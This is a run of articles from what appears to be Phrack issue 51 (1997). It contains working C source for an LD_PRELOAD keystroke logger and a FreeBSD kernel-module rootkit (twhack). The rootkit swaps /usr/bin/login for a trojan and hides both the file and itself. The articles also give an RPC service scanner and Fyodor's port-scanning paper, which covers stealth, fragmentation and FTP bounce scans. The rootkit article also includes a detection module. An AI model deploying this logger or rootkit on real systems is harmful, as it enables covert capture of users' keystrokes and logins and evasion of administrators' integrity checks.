Once you have dlopen()ed a library, the next goal is to get the address of one or more of the symbols that are inside the library. You do this with the dlsym() function. Unfortunately, this is where things can get nonportable. On the freely available 4.4BSD machines I tested, dlsym() wants the function name prepended by a underscore character. This makes perfect sense to me, since that is how C stores function names internally. The System Vish implementations, which make up the majority of the tested systems, do not use such a convention. This, unfortunately, means you must use conditional compilation in order to ensure portability.

A simple example of opening a library, getting a function and calling it is shown below:

<++> sh_lib_redir_example.c

#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

#include <dlfcn.h>

main()

{

void *handle;

void (*helloworld)(void);

char *c;

handle = dleopen("/tmp/helloworld.so", 1);

c = dlerror();

if(c)

{

fprintf(stderr, "couldnt open /tmp/helloworld.so\n");

abort();

}

#if __FreeBSD__

helloworld = dlsym(handle, "_helloworld");

#else

helloworld = dlsym(handle, "helloworld");

#endif

c = dlerror();

if(c)

{

fprintf(stderr, "couldnt get helloworld symbol\n");

abort();

}

helloworld();

dlclose(handle);

}

<‑‑>

Okay, now that we understand how to use the programming interface, how do we do function call redirection? Well, my idea is simple; you preload a library, the preloaded library does its thing, then it dlopen()s the real library and gets the symbol and calls it. This seems to work well on Solaris, Linux (ELF), Irix (5.3 and 6.2), FreeBSD (see bugs section below), and OSF/1 (not tested).

Compiling shared libraries is a little different on each platform. The compilation stage is basically the same, it is the linking that is actually different. For GCC, you make the object with something like:

gcc ‑fPIC ‑c file.c

That will create file.o, object code which is suitable for dynamic linking. Then you actually have to link it, which is where the fun begins :). Here is a chart for linking in the various operating systems I have tested this stuff on.

FreeBSD: ld ‑Bshareable ‑o file.so file.o

Solaris: ld ‑G ‑o file.so file.o ‑ldl

Linux: ld ‑Bshareable ‑o file.so file.o ‑ldl

IRIX: ld ‑shared ‑o file.so file.o

OSF/1: ld ‑shared ‑o file.so file.o

On IRIX, there is an additional switch you need to use if you are running 6.2, it enables backwards ld compatibility; the manpage for ld is your guide.

Unfortunately, all is not happy in the world of shared libs since there are bugs present in some implementations. FreeBSD in particular has a bug in that if you dlsym() something and it is not found, it will not set the error so dlerror() will return NULL. OpenBSD is far far worse (*sigh*). It initializes the error to a value, and does not clear the error when you call dlerror() so at all times, dlerror() will return non NULL. Of course, OpenBSD is incompatible with our methods in other ways too, so it does not really matter I guess :). The FreeBSD bug is hacked around by testing return values for NULL.

Here is a simple TTY logger shared library example. When you preload it, it will log the keystrokes when users run any nonprivledged shared lib using program. It stores the logs in /tmp/UID_OF_USER. Pretty simple stuff.

<++> tty_logger.c

#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

#include <sys/types.h>

#include <sys/uio.h>

#include <sys/stat.h>

#include <string.h>

#include <fcntl.h>

#include <dlfcn.h>

/* change this to point to your libc shared lib path */

#define LIB_PATH "/usr/lib/libc.so.3.0"

#define LOGDIR "/tmp"

int logfile = ‑1;

static void createlog(void)

{

char buff[4096];

if(logfile != ‑1)

return;

memset(buff, 0, 4096);

if(strlen(LOGDIR) > 4000)

return;

sprintf(buff, "%s/%d", LOGDIR, getuid());

logfile = open(buff, O_WRONLY|O_CREAT|O_APPEND, S_IRUSR|S_IWUSR); return;

}

static void writeout(char c)

{

switch(c)

{

case '\n':

case '\r':

c = '\n';

write(logfile, &c, 1);

break;

case 27:

break;

default:

write(logfile, &c, 1);

}

}

ssize_t read(int fd, void *buf, size_t nbytes)

{

void *handle;

ssize_t (*realfunc)(int, void *, size_t);

int result;

int i;

char *c;

char d;

handle = dlopen(LIB_PATH, 1);

if(!handle)

return ‑1;

#if __linux__ || (__svr4__ && __sun__) || sgi || __osf__

realfunc = dlsym(handle, "read");

#else

realfunc = dlsym(handle, "_read");

#endif

if(!realfunc)

return ‑1;

if(logfile < 0)

createlog();

result = realfunc(fd, buf, nbytes);

c = buf;

if(isatty(fd))

{

if(result > 0)

for(i=0;i < result;i++)

{

d = c[i];

writeout(d);

}

}

return result;

}

<‑‑>

‑‑‑‑[ EOF

Bypassing Integrity Checking Systems

‑‑‑[ Phrack Magazine Volume 7, Issue 51 September 01, 1997, article 09 of 17

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ Bypassing Integrity Checking Systems

‑‑‑‑‑‑‑‑[ halflife <halflife@infonexus.com>

In this day and age where intrusions happen on a daily basis and there is a version of "rootkit" for every operating system imaginable, even mostly incompetent system administration staff have begun doing checksums on their binaries. For the hacker community, this is a major problem since their very clever trojan programs are quickly detected and removed. Tripwire is a very popular and free utility to do integrity checking on UNIX systems. This article explores a simple method for bypassing checks done by tripwire and other integrity checking programs.

First off, how do integrity‑checking programs work? Well, when you first install them, they calculate a hash (sometimes multiple hashes) of all the binary files you wish to monitor. Then, periodically, you run the checker and it compares the current hash with the previously recorded hash. If the two differ, than something funny is going on, and it is noted. Several different algorithms exist for doing the hashes, the most popular probably being the MD5 hash.

In the past, there have been problems with several hashes. MD5 has had some collisions, as have many other secure hash algorithms. However, exploiting the collisions is still very very difficult. The code in this article does not rely on the use of a specific algorithm, rather we focus on a problem of trust ‑‑ integrity checking programs need to trust the operating system, and some may even trust libc. In code that is designed to detect compromises that would by their very nature require root access, you can not trust anything, including your own operating system.

The design of twhack had several requirements. The first is that it need not require a kernel rebuild; loadable kernel modules (lkm) provided a solution to this. The second is that it need be relatively stealthy. I managed to find a simple way to hide the lkm in the FreeBSD kernel (probably works in OpenBSD and NetBSD although I have not verified this). Once you load the module, the first ls type command will effectively hide the module from view. Once hidden it can not be unloaded or seen with the modunload(8) command.

First, a little information on FreeBSD loadable modules. I am using the MISC style of modules, which is basically similar to linux modules. It gives you pretty much full access to everything. LKM info is stored in an array of structures. In FreeBSD 2.2.1 the array has room for 20 modules.

Hiding the modules is really quite simple. There is a used variable that determines if the module slot is free or not. When you insert a module, the device driver looks for the first free module entry ‑‑ free being defined as an entry with 0 in the used slot and places some info in the structure. The info is mainly used for unloading, and we are not interested in that, so it is okay if other modules overwrite our structure (some might call that a feature, even).

Next we have to redirect the system calls we are interested in. This is somewhat similar to Linux modules as well. System calls are stored in an array of structures. The structure contains a pointer to the system call and a variable specifying the number of arguments. Obviously, all we are interested in is the pointer. First we bcopy the structure to a variable, then we modify the function pointer to point to our code. In our code we can do stuff like old_function.sy_call(arguments) to call the original system call ‑‑ quick and painless.

Now that we know HOW to redirect system calls, which ones do we redirect in order to bypass integrity checkers? Well, there are a number of possibilities. You could redirect open(), stat(), and a bunch of others so that reads of your modified program redirect to copies of the unmodified version. I, however, chose the opposite approach. Execution attempts of login redirect to another program, opens still go to the real login program. Since we don't want our alternative login program being detected, I also modified getdirentries so that our program is never in the buffer it returns. Similar things probably should have been done with syscall 156 which is old getdirentries, but I don't think it is defined and I don't know of anything using it, so it probably does not really matter.

Despite the attempts at keeping hidden, there are a few ways to detect this code. One of the ways of detecting (and stopping) the code is provided. It is a simple stealthy module that logs when syscall addresses change, and reverses the changes. This will stop the twhack module as provided, but is FAR from perfect.

What the checking code does is bcopy() the entire sysent array into a local copy. Then it registers an at_fork() handler and in the handler it checks the current system call table against the one in memory, if they differ it logs the differences and changes the entry back.

<++> twhack/Makefile

CC=gcc

LD=ld

RM=rm

CFLAGS=‑O ‑DKERNEL ‑DACTUALLY_LKM_NOT_KERNEL $(RST)

LDFLAGS=‑r

RST=‑DRESTORE_SYSCALLS

all: twhack syscheck

twhack:

$(CC) $(CFLAGS) ‑c twhack.c

$(LD) $(LDFLAGS) ‑o twhack_mod.o twhack.o

@$(RM) twhack.o

syscheck:

$(CC) $(CFLAGS) ‑c syscheck.c

$(LD) $(LDFLAGS) ‑o syscheck_mod.o syscheck.o

@$(RM) syscheck.o

clean:

$(RM) ‑f *.o

<‑‑>

<++> twhack/twhack.c

/*

** This code is a simple example of bypassing Integrity checking ** systems in FreeBSD 2.2. It has been tested in 2.2.1, and

** believed to work (although not tested) in 3.0.

**

** Halflife <halflife@infonexus.com>

*/

/* change these */

#define ALT_LOGIN_PATH "/tmp/foobar"

#define ALT_LOGIN_BASE "foobar"

/* includes */

#include <sys/param.h>

#include <sys/ioctl.h>

#include <sys/proc.h>

#include <sys/systm.h>

#include <sys/sysproto.h>

#include <sys/conf.h>

#include <sys/mount.h>

#include <sys/exec.h>

#include <sys/sysent.h>

#include <sys/lkm.h>

#include <a.out.h>

#include <sys/file.h>

#include <sys/errno.h>

#include <sys/syscall.h>

#include <sys/dirent.h>

/* storage for original execve and getdirentries syscall entries */

static struct sysent old_execve;

static struct sysent old_getdirentries;

/* prototypes for new execve and getdirentries functions */

int new_execve __P((struct proc *p, void *uap, int retval[]));

int new_getdirentries __P((struct proc *p, void *uap, int retval[]));

/* flag used for the stealth stuff */

static int hid=0;

/* table we need for the stealth stuff */

static struct lkm_table *table;

/* misc lkm */

MOD_MISC(twhack);

/*

** this code is called when we load or unload the module. unload is ** only possible if we initialize hid to 1

*/

static int

twhack_load(struct lkm_table *l, int cmd)

{

int err = 0;

switch(cmd)

{

/*

** save execve and getdirentries system call entries

** and point function pointers to our code

*/

case LKM_E_LOAD:

if(lkmexists(l))

return(EEXIST);

bcopy(&sysent[SYS_execve], &old_execve, sizeof(struct sysent)); sysent[SYS_execve].sy_call = new_execve;

bcopy(&sysent[SYS_getdirentries], &old_getdirentries, sizeof(struct sysent)); sysent[SYS_getdirentries].sy_call = new_getdirentries;

table = l;

break;

/* restore syscall entries to their original condition */

case LKM_E_UNLOAD:

bcopy(&old_execve, &sysent[SYS_execve], sizeof(struct sysent)); bcopy(&old_getdirentries, &sysent[SYS_getdirentries], sizeof(struct sysent)); break;

default:

err = EINVAL;

break;

}

return(err);

}

/* entry point to the module */

int

twhack_mod(struct lkm_table *l, int cmd, int ver)

{

DISPATCH(l, cmd, ver, twhack_load, twhack_load, lkm_nullcmd);

}

/*

** execve is simple, if they attempt to execute /usr/bin/login

** we change fname to ALT_LOGIN_PATH and then call the old execve ** system call.

*/

int

new_execve(struct proc *p, void *uap, int *retval)

{

struct execve_args *u=uap;

if(!strcmp(u‑>fname, "/usr/bin/login"))

strcpy(u‑>fname, ALT_LOGIN_PATH);

return old_execve.sy_call(p, uap, retval);

}

/*

** in getdirentries() we call the original syscall first

** then nuke any occurance of ALT_LOGIN_BASE. ALT_LOGIN_PATH

** and ALT_LOGIN_BASE should _always_ be modified and made

** very obscure, perhaps with upper ascii characters.

*/

int

new_getdirentries(struct proc *p, void *uap, int *retval)

{

struct getdirentries_args *u=uap;

struct dirent *dep;

int nbytes;

int r,i;

/* if hid is not set, set the used flag to 0 */

if(!hid)

{

table‑>used = 0;

hid++;

}

r = old_getdirentries.sy_call(p, uap, retval);

nbytes = *retval;

while(nbytes > 0)

{

dep = (struct dirent *)u‑>buf;

if(!strcmp(dep‑>d_name, ALT_LOGIN_BASE))

{

i = nbytes ‑ dep‑>d_reclen;

bcopy(u‑>buf+dep‑>d_reclen, u‑>buf, nbytes‑dep‑>d_reclen); *retval = i;

return r;

}

nbytes ‑= dep‑>d_reclen;

u‑>buf += dep‑>d_reclen;

}

return r;

}

<‑‑>

<++> twhack/syscheck.c

#include <sys/param.h>

#include <sys/ioctl.h>

#include <sys/proc.h>

#include <sys/systm.h>

#include <sys/sysproto.h>

#include <sys/conf.h>

#include <sys/mount.h>

#include <sys/exec.h>

#include <sys/sysent.h>

#include <sys/lkm.h>

#include <a.out.h>

#include <sys/file.h>

#include <sys/errno.h>

#include <sys/syscall.h>

#include <sys/dirent.h>

static int hid=0;

static struct sysent table[SYS_MAXSYSCALL];

static struct lkm_table *boo;

MOD_MISC(syscheck);

void check_sysent(struct proc *, struct proc *, int);

static int

syscheck_load(struct lkm_table *l, int cmd)

{

int err = 0;

switch(cmd)

{

case LKM_E_LOAD:

if(lkmexists(l))

return(EEXIST);

bcopy(sysent, table, sizeof(struct sysent)*SYS_MAXSYSCALL); boo=l;

at_fork(check_sysent);

break;

case LKM_E_UNLOAD:

rm_at_fork(check_sysent);

break;

default:

err = EINVAL;

break;

}

return(err);

}

int

syscheck_mod(struct lkm_table *l, int cmd, int ver)

{

DISPATCH(l, cmd, ver, syscheck_load, syscheck_load, lkm_nullcmd); }

void

check_sysent(struct proc *parent, struct proc *child, int flags)

{

int i;

if(!hid)

{

boo‑>used = 0;

hid++;

}

for(i=0;i < SYS_MAXSYSCALL;i++)

{

if(sysent[i].sy_call != table[i].sy_call)

{

printf("system call %d has been modified (old: %p new: %p)\n", i, table[i].sy_call, sysent[i].sy_call); #ifdef RESTORE_SYSCALLS

sysent[i].sy_call = table[i].sy_call;

#endif

}

}

}

<‑‑>

‑‑‑‑[ EOF

Stealth RPC scanning

‑‑‑[ Phrack Magazine Volume 7, Issue 51 September 01, 1997, article 10 of 17

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ Scanning for RPC Services

‑‑‑‑‑‑‑‑[ halflife <halflife@infonexus.com>

Remote Procedure Language is a specification for letting procedures be executable on remote machines. It is defined in rfc1831. It has a number of good traits, and if you run SunOS or Solaris, you are almost required to make use of it to some degree.

Unfortunately, there are vulnerabilities in some RPC services that have caused many machines to be penetrated. Many administrators block access to portmapper (port 111) in an effort to deny external users access to their weak RPC services.

Unfortunately, this is completely inadequate. This article details how trivial it is to do a scan for specific RPC program numbers. The scan can be performed relatively quickly, and in many cases will not be logged.

First, a little information about RPC itself; when I refer to RPC, I am only referring to ONC RPC, and not DCE RPC. RPC is a query/reply‑based system. You send an initial query with the program number you are interested in, the procedure number, any arguments, authentication, and other needed parameters. In response, you get whatever the procedure returns, and some indication of the reason for the failure if it failed.

Since RPC was designed to be portable, all arguments must be translated into XDR. XDR is a data encoding language that superficially reminds me a little bit of Pascal (at least, as far as strings are concerned). If you want more information on XDR, it is defined in rfc1832.

As you probably surmised by now, RPC programs are made up of various procedures. There is one procedure that always exists, it is procedure 0. This procedure accepts no arguments, and it does not return any value (think void rpcping(void)). This is how we will determine if a given port holds a given program, we will call the ping procedure!

So now we have a basic idea on how to determine if a given port is running a given RPC program number. Next we need to determine which UDP ports are listening. This can be done a number of ways, but the way I am using is to connect() to the port and try write data. If nothing is there, we will (hopefully) get a PORT_UNREACH error in errno, in which case we know there is nothing on that port.

In the given code, we do a udp scan, and for every listening udp port, we try to query the ping procedure of the program number we are scanning for. If we get a positive response, the program number we are looking for exists on that port and we exit.

<++> RPCscan/Makefile

CC=gcc

PROGNAME=rpcscan

CFLAGS=‑c

build: checkrpc.o main.o rpcserv.o udpcheck.o

$(CC) ‑o $(PROGNAME) checkrpc.o main.o rpcserv.o udpcheck.o

checkrpc.o:

$(CC) $(CFLAGS) checkrpc.c

main.o:

$(CC) $(CFLAGS) main.c

rpcserv.o:

$(CC) $(CFLAGS) rpcserv.c

udpcheck.o:

$(CC) $(CFLAGS) udpcheck.c

clean:

rm ‑f *.o $(PROGNAME)

<‑‑>

<++> RPCscan/checkrpc.c

#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

#include <sys/time.h>

#include <sys/socket.h>

#include <rpc/rpc.h>

#include <netdb.h>

extern struct sockaddr_in *saddr;

int

check_rpc_service(long program)

{

int sock = RPC_ANYSOCK;

CLIENT *client;

struct timeval timeout;

enum clnt_stat cstat;

timeout.tv_sec = 10;

timeout.tv_usec = 0;

client = clntudp_create(saddr, program, 1, timeout, &sock); if(!client)

return ‑1;

timeout.tv_sec = 10;

timeout.tv_usec = 0;

cstat = RPC_TIMEDOUT;

cstat = clnt_call(client, 0, xdr_void, NULL, xdr_void, NULL, timeout); if(cstat == RPC_TIMEDOUT)

{

timeout.tv_sec = 10;

timeout.tv_usec = 0;

cstat = clnt_call(client, 0, xdr_void, NULL, xdr_void, NULL, timeout); }

clnt_destroy(client);

close(sock);

if(cstat == RPC_SUCCESS)

return 1;

else if(cstat == RPC_PROGVERSMISMATCH)

return 1;

else return 0;

}

<‑‑>

<++> RPCscan/main.c

#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

int check_udp_port(char *, u_short);

int check_rpc_service(long);

long get_rpc_prog_number(char *);

#define HIGH_PORT5000

#define LOW_PORT512

main(int argc, char **argv)

{

int i,j;

long prog;

if(argc != 3)

{

fprintf(stderr, "%s host program\n", argv[0]);

exit(0);

}

prog = get_rpc_prog_number(argv[2]);

if(prog == ‑1)

{

fprintf(stderr, "invalid rpc program number\n");

exit(0);

}

printf("Scanning %s for program %d\n", argv[1], prog); for(i=LOW_PORT;i <= HIGH_PORT;i++)

{

if(check_udp_port(argv[1], i) > 0)

{

if(check_rpc_service(prog) == 1)

{

printf("%s is on port %u\n", argv[2], i);

exit(0);

}

}

}

}

<‑‑>

<++> RPCscan/rpcserv.c

#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

#include <netdb.h>

#include <ctype.h>

#include <rpc/rpc.h>

long

get_rpc_prog_number(char *progname)

{

struct rpcent *r;

int i=0;

while(progname[i] != '\0')

{

if(!isdigit(progname[i]))

{

setrpcent(1);

r = getrpcbyname(progname);

endrpcent();

if(!r)

return ‑1;

else return r‑>r_number;

}

i++;

}

return atoi(progname);

}

<‑‑>

<++> RPCscan/udpcheck.c

#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

#include <string.h>

#include <netdb.h>

#include <netinet/in.h>

#include <arpa/inet.h>

#include <sys/types.h>

#include <sys/socket.h>

#include <sys/param.h>

#include <sys/time.h>

#include <sys/errno.h>

extern int h_errno;

struct sockaddr_in *saddr = NULL;

int

check_udp_port(char *hostname, u_short port)

{

int s, i, sr;

struct hostent *he;

fd_set rset;

struct timeval tv;

if(!saddr)

{

saddr = malloc(sizeof(struct sockaddr_in));

if(!saddr) return ‑1;

saddr‑>sin_family = AF_INET;

saddr‑>sin_addr.s_addr = inet_addr(hostname); if(saddr‑>sin_addr.s_addr == INADDR_NONE)

{

sethostent(1);

he = gethostbyname(hostname);

if(!he)

{

herror("gethostbyname");

exit(1);

}

if(he‑>h_length <= sizeof(saddr‑>sin_addr.s_addr)) bcopy(he‑>h_addr, &saddr‑>sin_addr.s_addr, he‑>h_length); else

bcopy(he‑>h_addr, &saddr‑>sin_addr.s_addr, sizeof(saddr‑>sin_addr.s_addr)); endhostent();

}

}

saddr‑>sin_port = htons(port);

s = socket(AF_INET, SOCK_DGRAM, 0);

if(s < 0)

{

perror("socket");

return ‑1;

}

i = connect(s, (struct sockaddr *)saddr, sizeof(struct sockaddr_in)); if(i < 0)

{

perror("connect");

return ‑1;

}

for(i=0;i < 3;i++)

{

write(s, "", 1);

FD_ZERO(&rset);

FD_SET(s, &rset);

tv.tv_sec = 5;

tv.tv_usec = 0;

sr = select(s+1, &rset, NULL, NULL, &tv);

if(sr != 1)

continue;

if(read(s, &sr, sizeof(sr)) < 1)

{

close(s);

return 0;

}

else

{

close(s);

return 1;

}

}

close(s);

return 1;

}

<‑‑>

‑‑‑‑[ EOF

The Art of Scanning

‑‑‑[ Phrack Magazine Volume 7, Issue 51 September 01, 1997, article 11 of 17

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ The Art of Port Scanning

‑‑‑‑‑‑‑‑[ Fyodor <fyodor@dhp.com>

[ Abstract ]

This paper details many of the techniques used to determine what ports (or similar protocol abstraction) of a host are listening for connections. These ports represent potential communication channels. Mapping their existence facilitates the exchange of information with the host, and thus it is quite useful for anyone wishing to explore their networked environment, including hackers. Despite what you have heard from the media, the Internet is NOT all about TCP port 80. Anyone who relies exclusively on the WWW for information gathering is likely to gain the same level of proficiency as your average AOLer, who does the same. This paper is also meant to serve as an introduction to and ancillary documentation for a coding project I have been working on. It is a full featured, robust port scanner which (I hope) solves some of the problems I have encountered when dealing with other scanners and when working to scan massive networks. The tool, nmap, supports the following:

‑ vanilla TCP connect() scanning,

‑ TCP SYN (half open) scanning,

‑ TCP FIN (stealth) scanning,

‑ TCP ftp proxy (bounce attack) scanning

‑ SYN/FIN scanning using IP fragments (bypasses packet filters), ‑ UDP recvfrom() scanning,

‑ UDP raw ICMP port unreachable scanning,

‑ ICMP scanning (ping‑sweep), and

‑ reverse‑ident scanning.

The freely distributable source code is appended to this paper.

[ Introduction ]

Scanning, as a method for discovering exploitable communication channels, has been around for ages. The idea is to probe as many listeners as possible, and keep track of the ones that are receptive or useful to your particular need. Much of the field of advertising is based on this paradigm, and the "to current resident" brute force style of bulk mail is an almost perfect parallel to what we will discuss. Just stick a message in every mailbox and wait for the responses to trickle back.

Scanning entered the h/p world along with the phone systems. Here we have this tremendous global telecommunications network, all reachable through codes on our telephone. Millions of numbers are reachable locally, yet we may only be interested in 0.5% of these numbers, perhaps those that answer with a carrier.

The logical solution to finding those numbers that interest us is to try them all. Thus the field of "wardialing" arose. Excellent programs like Toneloc were developed to facilitate the probing of entire exchanges and more. The basic idea is simple. If you dial a number and your modem gives you a CONNECT, you record it. Otherwise the computer hangs up and tirelessly dials the next one.

While wardialing is still useful, we are now finding that many of the computers we wish to communicate with are connected through networks such as the Internet rather than analog phone dialups. Scanning these machines involves the same brute force technique. We send a blizzard of packets for various protocols, and we deduce which services are listening from the responses we receive (or don't receive).

[ Techniques ]

Over time, a number of techniques have been developed for surveying the protocols and ports on which a target machine is listening. They all offer different benefits and problems. Here is a line up of the most common:

‑ TCP connect() scanning : This is the most basic form of TCP scanning. The connect() system call provided by your operating system is used to open a connection to every interesting port on the machine. If the port is listening, connect() will succeed, otherwise the port isn't reachable. One strong advantage to this technique is that you don't need any special privileges. Any user on most UNIX boxes is free to use this call. Another advantage is speed. While making a separate connect() call for every targeted port in a linear fashion would take ages over a slow connection, you can hasten the scan by using many sockets in parallel. Using non‑blocking I/O allows you to set a low time‑out period and watch all the sockets at once. This is the fastest scanning method supported by nmap, and is available with the ‑t (TCP) option. The big downside is that this sort of scan is easily detectable and filterable. The target hosts logs will show a bunch of connection and error messages for the services which take the connection and then have it immediately shutdown.

‑ TCP SYN scanning : This technique is often referred to as "half‑open" scanning, because you don't open a full TCP connection. You send a SYN packet, as if you are going to open a real connection and wait for a response. A SYN|ACK indicates the port is listening. A RST is indicative of a nonlistener. If a SYN|ACK is received, you immediately send a RST to tear down the connection (actually the kernel does this for us). The primary advantage to this scanning technique is that fewer sites will log it. Unfortunately you need root privileges to build these custom SYN packets. SYN scanning is the ‑s option of nmap.

‑ TCP FIN scanning : There are times when even SYN scanning isn't clandestine enough. Some firewalls and packet filters watch for SYNs to an unallowed port, and programs like synlogger and Courtney are available to detect these scans. FIN packets, on the other hand, may be able to pass through unmolested. This scanning technique was featured in detail by Uriel Maimon in Phrack 49, article 15. The idea is that closed ports tend to reply to your FIN packet with the proper RST. Open ports, on the other hand, tend to ignore the packet in question. This is a bug in TCP implementations and so it isn't 100% reliable (some systems, notably Micro$oft boxes, seem to be immune). It works well on most other systems I've tried. FIN scanning is the ‑U (Uriel) option of nmap.

‑ Fragmentation scanning : This is not a new scanning method in and of itself, but a modification of other techniques. Instead of just sending the probe packet, you break it into a couple of small IP fragments. You are splitting up the TCP header over several packets to make it harder for packet filters and so forth to detect what you are doing. Be careful with this! Some programs have trouble handling these tiny packets. My favorite sniffer segmentation faulted immediately upon receiving the first 36‑byte fragment. After that comes a 24 byte one! While this method won't get by packet filters and firewalls that queue all IP fragments (like the CONFIG_IP_ALWAYS_DEFRAG option in Linux), a lot of networks can't afford the performance hit this causes. This feature is rather unique to scanners (at least I haven't seen any others that do this). Thanks to daemon9 for suggesting it. The ‑f instructs the specified SYN or FIN scan to use tiny fragmented packets.

‑ TCP reverse ident scanning : As noted by Dave Goldsmith in a 1996 Bugtraq post, the ident protocol (rfc1413) allows for the disclosure of the username of the owner of any process connected via TCP, even if that process didn't initiate the connection. So you can, for example, connect to the http port and then use identd to find out whether the server is running as root. This can only be done with a full TCP connection to the target port (i.e. the ‑t option). nmap's ‑i option queries identd for the owner of all listen()ing ports.

‑ FTP bounce attack : An interesting "feature" of the ftp protocol (RFC 959) is support for "proxy" ftp connections. In other words, I should be able to connect from evil.com to the FTP server‑PI (protocol interpreter) of target.com to establish the control communication connection. Then I should be able to request that the server‑PI initiate an active server‑DTP (data transfer process) to send a file ANYWHERE on the internet! Presumably to a User‑DTP, although the RFC specifically states that asking one server to send a file to another is OK. Now this may have worked well in 1985 when the RFC was just written. But nowadays, we can't have people hijacking ftp servers and requesting that data be spit out to arbitrary points on the internet. As *Hobbit* wrote back in 1995, this protocol flaw "can be used to post virtually untraceable mail and news, hammer on servers at various sites, fill up disks, try to hop firewalls, and generally be annoying and hard to track down at the same time." What we will exploit this for is to (surprise, surprise) scan TCP ports from a "proxy" ftp server. Thus you could connect to an ftp server behind a firewall, and then scan ports that are more likely to be blocked (139 is a good one). If the ftp server allows reading from and writing to a directory (such as /incoming), you can send arbitrary data to ports that you do find open.

For port scanning, our technique is to use the PORT command to declare that our passive "User‑DTP" is listening on the target box at a certain port number. Then we try to LIST the current directory, and the result is sent over the Server‑DTP channel. If our target host is listening on the specified port, the transfer will be successful (generating a 150 and a 226 response). Otherwise we will get "425 Can't build data connection: Connection refused." Then we issue another PORT command to try the next port on the target host. The advantages to this approach are obvious (harder to trace, potential to bypass firewalls). The main disadvantages are that it is slow, and that some FTP servers have finally got a clue and disabled the proxy "feature". For what it is worth, here is a list of banners from sites where it does/doesn't work:

*Bounce attacks worked:*

220 xxxxxxx.com FTP server (Version wu‑2.4(3) Wed Dec 14 ...) ready. 220 xxx.xxx.xxx.edu FTP server ready.

220 xx.Telcom.xxxx.EDU FTP server (Version wu‑2.4(3) Tue Jun 11 ...) ready. 220 lem FTP server (SunOS 4.1) ready.

220 xxx.xxx.es FTP server (Version wu‑2.4(11) Sat Apr 27 ...) ready. 220 elios FTP server (SunOS 4.1) ready

*Bounce attack failed:*

220 wcarchive.cdrom.com FTP server (Version DG‑2.0.39 Sun May 4 ...) ready. 220 xxx.xx.xxxxx.EDU Version wu‑2.4.2‑academ[BETA‑12](1) Fri Feb 7 220 ftp Microsoft FTP Service (Version 3.0).

220 xxx FTP server (Version wu‑2.4.2‑academ[BETA‑11](1) Tue Sep 3 ...) ready. 220 xxx.unc.edu FTP server (Version wu‑2.4.2‑academ[BETA‑13](6) ...) ready.

The 'x's are partly there to protect those guilty of running a flawed server, but mostly just to make the lines fit in 80 columns. Same thing with the ellipse points. The bounce attack is available with the ‑b <proxy_server> option of nmap. proxy_server can be specified in standard URL format, username:password@server:port , with everything but server being optional.

‑ UDP ICMP port unreachable scanning : This scanning method varies from the above in that we are using the UDP protocol instead of TCP. While this protocol is simpler, scanning it is actually significantly more difficult. This is because open ports don't have to send an acknowledgement in response to our probe, and closed ports aren't even required to send an error packet. Fortunately, most hosts do send an ICMP_PORT_UNREACH error when you send a packet to a closed UDP port. Thus you can find out if a port is NOT open, and by exclusion determine which ports which are. Neither UDP packets, nor the ICMP errors are guaranteed to arrive, so UDP scanners of this sort must also implement retransmission of packets that appear to be lost (or you will get a bunch of false positives). Also, this scanning technique is slow because of compensation for machines that took RFC 1812 section 4.3.2.8 to heart and limit ICMP error message rate. For example, the Linux kernel (in net/ipv4/icmp.h) limits destination unreachable message generation to 80 per 4 seconds, with a 1/4 second penalty if that is exceeded. At some point I will add a better algorithm to nmap for detecting this. Also, you will need to be root for access to the raw ICMP socket necessary for reading the port unreachable. The ‑u (UDP) option of nmap implements this scanning method for root users.

Some people think UDP scanning is lame and pointless. I usually remind them of the recent Solaris rcpbind hole. Rpcbind can be found hiding on an undocumented UDP port somewhere above 32770. So it doesn't matter that 111 is blocked by the firewall. But can you find which of the more than 30,000 high ports it is listening on? With a UDP scanner you can!

‑ UDP recvfrom() and write() scanning : While non‑root users can't read port unreachable errors directly, Linux is cool enough to inform the user indirectly when they have been received. For example a second write() call to a closed port will usually fail. A lot of scanners such as netcat and Pluvius' pscan.c does this. I have also noticed that recvfrom() on non‑blocking UDP sockets usually return EAGAIN ("Try Again", errno 13) if the ICMP error hasn't been received, and ECONNREFUSED ("Connection refused", errno 111) if it has. This is the technique used for determining open ports when non‑root users use ‑u (UDP). Root users can also use the ‑l (lamer UDP scan) options to force this, but it is a really dumb idea.

‑ ICMP echo scanning : This isn't really port scanning, since ICMP doesn't have a port abstraction. But it is sometimes useful to determine what hosts in a network are up by pinging them all. the ‑P option does this. Also you might want to adjust the PING_TIMEOUT #define if you are scanning a large network. nmap supports a host/bitmask notation to make this sort of thing easier. For example 'nmap ‑P cert.org/24 152.148.0.0/16' would scan CERT's class C network and whatever class B entity 152.148.* represents. Host/26 is useful for 6‑bit subnets within an organization.

[ Features ]

Prior to writing nmap, I spent a lot of time with other scanners exploring the Internet and various private networks (note the avoidance of the "intranet" buzzword). I have used many of the top scanners available today, including strobe by Julian Assange, netcat by *Hobbit*, stcp by Uriel Maimon, pscan by Pluvius, ident‑scan by Dave Goldsmith, and the SATAN tcp/udp scanners by Wietse Venema. These are all excellent scanners! In fact, I ended up hacking most of them to support the best features of the others. Finally I decided to write a whole new scanner, rather than rely on hacked versions of a dozen different scanners in my /usr/local/sbin. While I wrote all the code, nmap uses a lot of good ideas from its predecessors. I also incorporated some new stuff like fragmentation scanning and options that were on my "wish list" for other scanners. Here are some of the (IMHO) useful features of nmap:

‑ dynamic delay time calculations: Some scanners require that you supply a delay time between sending packets. Well how should I know what to use? Sure, I can ping them, but that is a pain, and plus the response time of many hosts changes dramatically when they are being flooded with requests. nmap tries to determine the best delay time for you. It also tries to keep track of packet retransmissions, etc. so that it can modify this delay time during the course of the scan. For root users, the primary technique for finding an initial delay is to time the internal "ping" function. For non‑root users, it times an attempted connect() to a closed port on the target. It can also pick a reasonable default value. Again, people who want to specify a delay themselves can do so with ‑w (wait), but you shouldn't have to.

